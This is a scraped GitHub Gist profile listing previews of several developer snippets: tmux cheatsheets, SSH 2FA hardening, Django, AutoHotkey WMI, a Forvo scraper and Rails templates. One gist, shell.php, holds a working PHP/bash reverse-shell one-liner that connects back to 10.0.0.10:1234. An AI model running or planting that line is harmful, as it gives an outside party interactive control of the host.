Skip to content

Instantly share code, notes, and snippets.

View rshipp's full-sized avatar
🍉
drop ICE. defund police.

Ryan Shipp rshipp

🍉
drop ICE. defund police.
View GitHub Profile
@MohamedAlaa
MohamedAlaa / tmux-cheatsheet.markdown
Last active May 3, 2024 19:09
tmux shortcuts & cheatsheet

tmux shortcuts & cheatsheet

start new:

tmux

start new with session name:

tmux new -s myname
@rshipp
rshipp / shell.php
Created July 17, 2014 15:06
A tiny PHP/bash reverse shell.
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");
@mislav
mislav / _readme.md
Last active March 28, 2024 00:47
tmux-vim integration to transparently switch between tmux panes and vim split windows

I use tmux splits (panes). Inside one of these panes there's a Vim process, and it has its own splits (windows).

In Vim I have key bindings C-h/j/k/l set to switch windows in the given direction. (Vim default mappings for windows switching are the same, but prefixed with C-W.) I'd like to use the same keystrokes for switching tmux panes.

An extra goal that I've solved with a dirty hack is to toggle between last active panes with C-\.

Here's how it should work:

@lizthegrey
lizthegrey / attributes.rb
Last active February 24, 2024 14:11
Hardening SSH with 2fa
default['sshd']['sshd_config']['AuthenticationMethods'] = 'publickey,keyboard-interactive:pam'
default['sshd']['sshd_config']['ChallengeResponseAuthentication'] = 'yes'
default['sshd']['sshd_config']['PasswordAuthentication'] = 'no'
@fnichol
fnichol / README.md
Created March 12, 2011 20:52
Download a cacert.pem for RailsInstaller

Why?

There is a long standing issue in Ruby where the net/http library by default does not check the validity of an SSL certificate during a TLS handshake. Rather than deal with the underlying problem (a missing certificate authority, a self-signed certificate, etc.) one tends to see bad hacks everywhere. This can lead to problems down the road.

From what I can see the OpenSSL library that Rails Installer delivers has no certificate authorities defined. So, let's go fetch some from the curl website. And since this is for ruby, why don't we download and install the file with a ruby script?

Installation

The Ruby Way! (Fun)

@jonashaag
jonashaag / 0-howto-listfield-django-admin.rst
Created September 7, 2011 09:41
Howto use ListFields in Django's admin

Howto use ListFields in Django's admin

Problem

Consider this blog post model:

models.py

:

@hoppfrosch
hoppfrosch / WMI_GetProcessInformation.ahk
Created September 26, 2013 06:45
Get information about running processes using WMI #ahk #script #function #wmi #com
; Description: Get Process properties via AHK using WMI
;
; Author: hoppfrosch - 20140206
;
; Credits
; * http://technet.microsoft.com/en-us/library/ee176712.aspx (by MSDN)
; * http://msdn.microsoft.com/en-us/library/windows/desktop/aa394372%28v=vs.85%29.aspx
; * http://http://www.autohotkey.com/board/topic/90385-drei-kleine-fragen (by Rohwedder)
; * http://www.autohotkey.com/board/topic/72817-how-to-obtain-%E2%80%9Cuser-name%E2%80%9D-from-running-processes/#entry465606 (by Lexikos)
PropertyList := "Caption,CommandLine,CreationClassName,CreationDate,CSCreationClassName,CSName,Description,ExecutablePath,"
@rshipp
rshipp / forvo_scraper.sh
Last active March 23, 2023 12:17
Scrape the highest rated MP3 from Forvo.com for a given word
#!/bin/bash
# Forvo scraper
language=${FORVO_LANG:-fr}
BASEURL="http://forvo.com/search/"
AUDIOURL="http://audio.forvo.com/mp3/"
word=$1
if [[ -z $word ]]; then
echo "usage: "
echo "FORVO_LANG=languagecode ./forvo_scraper.sh myword"
@killthekitten
killthekitten / persistent_csrf_token_cookie.rb
Last active October 6, 2021 17:12
Persistent CSRF token cookie
@raghubetina
raghubetina / lti_rails_engine_template.rb
Created July 15, 2016 14:00 — forked from coderberry/lti_rails_engine_template.rb
Rails template for creating LTI apps (as mountable rails engines)
# rails plugin new my_lti_app -T --mountable --dummy-path=spec/test_app -m URL_TO_THIS_RAW_GIST
def ask_wizard(question)
ask "\033[1m\033[30m\033[46m" + "prompt".rjust(10) + "\033[0m\033[36m" + " #{question}\033[0m"
end
def yes_wizard?(question)
answer = ask_wizard(question + " \033[33m(y/n)\033[0m")
case answer.downcase
when "yes", "y"